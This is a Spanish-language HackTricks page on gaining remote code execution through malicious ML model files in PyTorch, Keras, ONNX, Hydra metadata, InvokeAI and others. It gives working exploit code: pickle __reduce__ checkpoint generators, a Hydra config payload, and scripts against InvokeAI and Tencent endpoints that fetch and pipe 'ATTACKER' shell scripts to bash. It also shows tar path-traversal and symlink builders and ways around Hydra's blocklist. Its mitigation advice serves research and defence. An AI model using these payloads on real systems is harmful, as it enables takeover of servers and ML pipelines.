Modelos RCE

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Cargando modelos para RCE

Los modelos de Machine Learning suelen compartirse en diferentes formatos, como ONNX, TensorFlow, PyTorch, etc. Estos modelos pueden cargarse en las máquinas de los desarrolladores o en sistemas de producción para su uso. Normalmente los modelos no deberían contener código malicioso, pero hay casos en los que el modelo puede usarse para ejecutar código arbitrario en el sistema como funcionalidad prevista o debido a una vulnerabilidad en la librería de carga de modelos.

Al momento de la redacción, estos son algunos ejemplos de este tipo de vulnerabilidades:

Framework / ToolVulnerabilidad (CVE si está disponible)Vector RCEReferencias
PyTorch (Python)Deserialización insegura en torch.load (CVE-2025-32434)Un pickle malicioso en el checkpoint del modelo conduce a ejecución de código (omitiendo la protección weights_only)
PyTorch TorchServeShellTorchCVE-2023-43654, CVE-2022-1471SSRF + descarga de modelo malicioso causa ejecución de código; deserialización Java RCE en la API de gestión
NVIDIA Merlin Transformers4RecDeserialización insegura de checkpoint vía torch.load (CVE-2025-23298)Un checkpoint no confiable activa el pickle reducer durante load_model_trainer_states_from_checkpoint → ejecución de código en el worker de MLZDI-25-833
TensorFlow/KerasCVE-2021-37678 (YAML inseguro)
CVE-2024-3660 (Keras Lambda)
Cargar modelo desde YAML usa yaml.unsafe_load (ejecución de código)
Cargar un modelo con la capa Lambda ejecuta código Python arbitrario
TensorFlow (TFLite)CVE-2022-23559 (parseo TFLite)Un .tflite confeccionado provoca desbordamiento entero → corrupción de heap (RCE potencial)
Scikit-learn (Python)CVE-2020-13092 (joblib/pickle)Cargar un modelo vía joblib.load ejecuta pickle con el payload __reduce__ del atacante
NumPy (Python)CVE-2019-6446 (unsafe np.load) disputadoEl comportamiento por defecto de numpy.load permitía arrays de objetos pickled – un .npy/.npz malicioso desencadena ejecución de código
ONNX / ONNX RuntimeCVE-2022-25882 (travesía de directorios)
CVE-2024-5187 (travesía en tar)
La ruta external-weights de un modelo ONNX puede escapar del directorio (leer archivos arbitrarios)
Un tar de modelo ONNX malicioso puede sobrescribir archivos arbitrarios (conduciendo a RCE)
ONNX Runtime (design risk)(No CVE) ONNX custom ops / control flowUn modelo con operador personalizado exige cargar código nativo del atacante; grafos complejos de modelo abusan de la lógica para ejecutar computaciones no previstas
NVIDIA Triton ServerCVE-2023-31036 (travesía de rutas)Usar la API de carga de modelos con --model-control habilitado permite travesía de rutas relativas para escribir archivos (p.ej., sobrescribir .bashrc para RCE)
GGML (GGUF format)CVE-2024-25664 … 25668 (múltiples desbordamientos de heap)Un archivo GGUF malformado provoca desbordamientos de buffer en el parser, permitiendo ejecución de código arbitrario en el sistema víctima
Keras (older formats)(No new CVE) Legacy Keras H5 modelUn modelo HDF5 (.h5) malicioso con código en la capa Lambda aún se ejecuta al cargar (Keras safe_mode no cubre el formato antiguo – “downgrade attack”)
Others (general)Fallo de diseño – Pickle serializationMuchas herramientas de ML (p.ej., formatos de modelos basados en pickle, Python pickle.load) ejecutarán código arbitrario embebido en archivos de modelo a menos que se mitigue
NeMo / uni2TS / FlexTok (Hydra)Metadatos no confiables pasados a hydra.utils.instantiate() (CVE-2025-23304, CVE-2026-22584, FlexTok)Metadatos/config de modelo controlados por el atacante ponen _target_ a un callable arbitrario (p.ej., builtins.exec) → se ejecuta durante la carga, incluso con formatos “seguros” (.safetensors, .nemo, repo config.json)Unit42 2026

Además, hay algunos modelos basados en pickle de Python como los usados por PyTorch que pueden usarse para ejecutar código arbitrario en el sistema si no se cargan con weights_only=True. Por lo tanto, cualquier modelo basado en pickle podría ser especialmente susceptible a este tipo de ataques, incluso si no aparecen en la tabla anterior.

Hydra metadata → RCE (funciona incluso con safetensors)

hydra.utils.instantiate() importa y llama cualquier _target_ punteado en un objeto de configuración/metadata. Cuando las librerías alimentan metadata de modelo no confiable a instantiate(), un atacante puede suministrar un callable y argumentos que se ejecutan inmediatamente durante la carga del modelo (no se requiere pickle).

Ejemplo de payload (funciona en .nemo model_config.yaml, repo config.json, o __metadata__ dentro de .safetensors):

_target_: builtins.exec
_args_:
- "import os; os.system('curl http://ATTACKER/x|bash')"

Key points:

  • Se desencadena antes de la inicialización del modelo en NeMo restore_from/from_pretrained, uni2TS HuggingFace coders, y FlexTok loaders.
  • La lista de bloqueo de cadenas de Hydra es evadible vía rutas de importación alternativas (p. ej., enum.bltns.eval) o nombres resueltos por la aplicación (p. ej., nemo.core.classes.common.os.systemposix).
  • FlexTok también parsea metadata en forma de string con ast.literal_eval, habilitando DoS (sobrecarga de CPU/memoria) antes de la llamada a Hydra.

🆕 InvokeAI RCE vía torch.load (CVE-2024-12029)

InvokeAI es una popular interfaz web de código abierto para Stable-Diffusion. Las versiones 5.3.1 – 5.4.2 exponen el endpoint REST /api/v2/models/install que permite a los usuarios descargar y cargar modelos desde URLs arbitrarias.

Internamente el endpoint finalmente llama a:

checkpoint = torch.load(path, map_location=torch.device("meta"))

Cuando el archivo suministrado es un PyTorch checkpoint (*.ckpt), torch.load realiza una pickle deserialization. Dado que el contenido procede directamente de una URL controlada por el usuario, un atacante puede incrustar un objeto malicioso con un método personalizado __reduce__ dentro del checkpoint; el método se ejecuta durante la deserialización, lo que conduce a remote code execution (RCE) en el servidor InvokeAI.

La vulnerabilidad fue asignada CVE-2024-12029 (CVSS 9.8, EPSS 61.17 %).

Guía de explotación

  1. Crear un checkpoint malicioso:
# payload_gen.py
import pickle, torch, os

class Payload:
def __reduce__(self):
return (os.system, ("/bin/bash -c 'curl http://ATTACKER/pwn.sh|bash'",))

with open("payload.ckpt", "wb") as f:
pickle.dump(Payload(), f)
  1. Aloja payload.ckpt en un servidor HTTP que controles (por ejemplo http://ATTACKER/payload.ckpt).
  2. Activa el endpoint vulnerable (no se requiere autenticación):
import requests

requests.post(
"http://TARGET:9090/api/v2/models/install",
params={
"source": "http://ATTACKER/payload.ckpt",  # remote model URL
"inplace": "true",                         # write inside models dir
# the dangerous default is scan=false → no AV scan
},
json={},                                         # body can be empty
timeout=5,
)
  1. Cuando InvokeAI descarga el archivo llama a torch.load() → el gadget os.system se ejecuta y el atacante obtiene ejecución de código en el contexto del proceso InvokeAI.

Exploit listo para usar: Metasploit module exploit/linux/http/invokeai_rce_cve_2024_12029 automatiza todo el flujo.

Conditions

• InvokeAI 5.3.1-5.4.2 (scan flag default false)
/api/v2/models/install alcanzable por el atacante
• El proceso tiene permisos para ejecutar comandos de shell

Mitigations

  • Actualizar a InvokeAI ≥ 5.4.3 – el parche establece scan=True por defecto y realiza un escaneo de malware antes de la deserialización.
  • Al cargar checkpoints programáticamente use torch.load(file, weights_only=True) o el nuevo helper torch.load_safe.
  • Imponer allow-lists / firmas para las fuentes de modelos y ejecutar el servicio con el principio de menor privilegio.

⚠️ Recuerde que cualquier formato basado en Python pickle (incluyendo muchos .pt, .pkl, .ckpt, .pth files) es inherentemente inseguro para deserializar desde fuentes no confiables.


Ejemplo de una mitigación ad-hoc si necesita mantener versiones antiguas de InvokeAI ejecutándose detrás de un proxy inverso:

location /api/v2/models/install {
deny all;                       # block direct Internet access
allow 10.0.0.0/8;               # only internal CI network can call it
}

🆕 NVIDIA Merlin Transformers4Rec RCE mediante torch.load inseguro (CVE-2025-23298)

NVIDIA’s Transformers4Rec (parte de Merlin) expuso un cargador de checkpoints inseguro que llamaba directamente a torch.load() con rutas proporcionadas por el usuario. Dado que torch.load se basa en pickle de Python, un checkpoint controlado por un atacante puede ejecutar código arbitrario mediante un reducer durante la deserialización.

Vulnerable path (pre-fix): transformers4rec/torch/trainer/trainer.pyload_model_trainer_states_from_checkpoint(...)torch.load(...).

Por qué esto conduce a RCE: En Python pickle, un objeto puede definir un reducer (__reduce__/__setstate__) que devuelve un callable y sus argumentos. El callable se ejecuta durante el unpickling. Si un objeto así está presente en un checkpoint, se ejecuta antes de que se utilicen los pesos.

Minimal malicious checkpoint example:

import torch

class Evil:
def __reduce__(self):
import os
return (os.system, ("id > /tmp/pwned",))

# Place the object under a key guaranteed to be deserialized early
ckpt = {
"model_state_dict": Evil(),
"trainer_state": {"epoch": 10},
}

torch.save(ckpt, "malicious.ckpt")

Delivery vectors and blast radius:

  • Checkpoints/modelos troyanizados compartidos vía repositorios, buckets, o artifact registries
  • Pipelines automatizados de resume/deploy que cargan checkpoints automáticamente
  • La ejecución ocurre dentro de training/inference workers, a menudo con privilegios elevados (p. ej., root en containers)

Fix: Commit b7eaea5 (PR #802) reemplazó la llamada directa a torch.load() por un deserializador restringido y allow-listed implementado en transformers4rec/utils/serialization.py. El nuevo loader valida tipos/campos y evita que callables arbitrarios sean invocados durante la carga.

Defensive guidance specific to PyTorch checkpoints:

  • Do not unpickle untrusted data. Prefer non-executable formats like Safetensors or ONNX when possible.
  • If you must use PyTorch serialization, ensure weights_only=True (supported in newer PyTorch) or use a custom allow-listed unpickler similar to the Transformers4Rec patch.
  • Aplicar la procedencia/firmas del modelo y deserialización en sandbox (seccomp/AppArmor; usuario no-root; FS restringido y sin salida de red).
  • Monitorizar procesos hijo inesperados de los servicios ML en el momento de carga del checkpoint; trazar el uso de torch.load()/pickle.

POC y referencias de vulnerabilidad/parche:

  • Vulnerable pre-patch loader: https://gist.github.com/zdi-team/56ad05e8a153c84eb3d742e74400fd10.js
  • Malicious checkpoint POC: https://gist.github.com/zdi-team/fde7771bb93ffdab43f15b1ebb85e84f.js
  • Post-patch loader: https://gist.github.com/zdi-team/a0648812c52ab43a3ce1b3a090a0b091.js

Example – crafting a malicious PyTorch model

  • Create the model:
# attacker_payload.py
import torch
import os

class MaliciousPayload:
def __reduce__(self):
# This code will be executed when unpickled (e.g., on model.load_state_dict)
return (os.system, ("echo 'You have been hacked!' > /tmp/pwned.txt",))

# Create a fake model state dict with malicious content
malicious_state = {"fc.weight": MaliciousPayload()}

# Save the malicious state dict
torch.save(malicious_state, "malicious_state.pth")
  • Cargar el modelo:
# victim_load.py
import torch
import torch.nn as nn

class MyModel(nn.Module):
def __init__(self):
super().__init__()
self.fc = nn.Linear(10, 1)

model = MyModel()

# ⚠️ This will trigger code execution from pickle inside the .pth file
model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))

# /tmp/pwned.txt is created even if you get an error

Deserialization Tencent FaceDetection-DSFD resnet (CVE-2025-13715 / ZDI-25-1183)

Tencent’s FaceDetection-DSFD expone un endpoint resnet que deserializes user-controlled data. ZDI confirmó que un atacante remoto puede coaccionar a una víctima para que cargue una página/archivo malicioso, hacer que este envíe un crafted serialized blob a ese endpoint y desencadenar deserialization como root, provocando una compromisión total.

El flujo del exploit refleja el abuso típico de pickle:

import pickle, os, requests

class Payload:
def __reduce__(self):
return (os.system, ("curl https://attacker/p.sh | sh",))

blob = pickle.dumps(Payload())
requests.post("https://target/api/resnet", data=blob,
headers={"Content-Type": "application/octet-stream"})

Any gadget reachable during deserialization (constructors, __setstate__, framework callbacks, etc.) can be weaponized the same way, regardless of whether the transport was HTTP, WebSocket, or a file dropped into a watched directory.

Modelos a Path Traversal

As commented in this blog post, most models formats used by different AI frameworks are based on archives, usually .zip. Therefore, it might be possible to abuse these formats to perform path traversal attacks, allowing to read arbitrary files from the system where the model is loaded.

For example, with the following code you can create a model that will create a file in the /tmp directory when loaded:

import tarfile

def escape(member):
member.name = "../../tmp/hacked"     # break out of the extract dir
return member

with tarfile.open("traversal_demo.model", "w:gz") as tf:
tf.add("harmless.txt", filter=escape)

O bien, con el siguiente código puedes crear un modelo que creará un symlink al directorio /tmp cuando se cargue:

import tarfile, pathlib

TARGET  = "/tmp"        # where the payload will land
PAYLOAD = "abc/hacked"

def link_it(member):
member.type, member.linkname = tarfile.SYMTYPE, TARGET
return member

with tarfile.open("symlink_demo.model", "w:gz") as tf:
tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it)
tf.add(PAYLOAD)                      # rides the symlink

Análisis en profundidad: Keras .keras deserialization and gadget hunting

Para una guía centrada en los internals de .keras, Lambda-layer RCE, el problema de importación arbitraria en ≤ 3.8 y el descubrimiento de gadgets post-fix dentro de la allowlist, vea:

Keras Model Deserialization Rce And Gadget Hunting

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks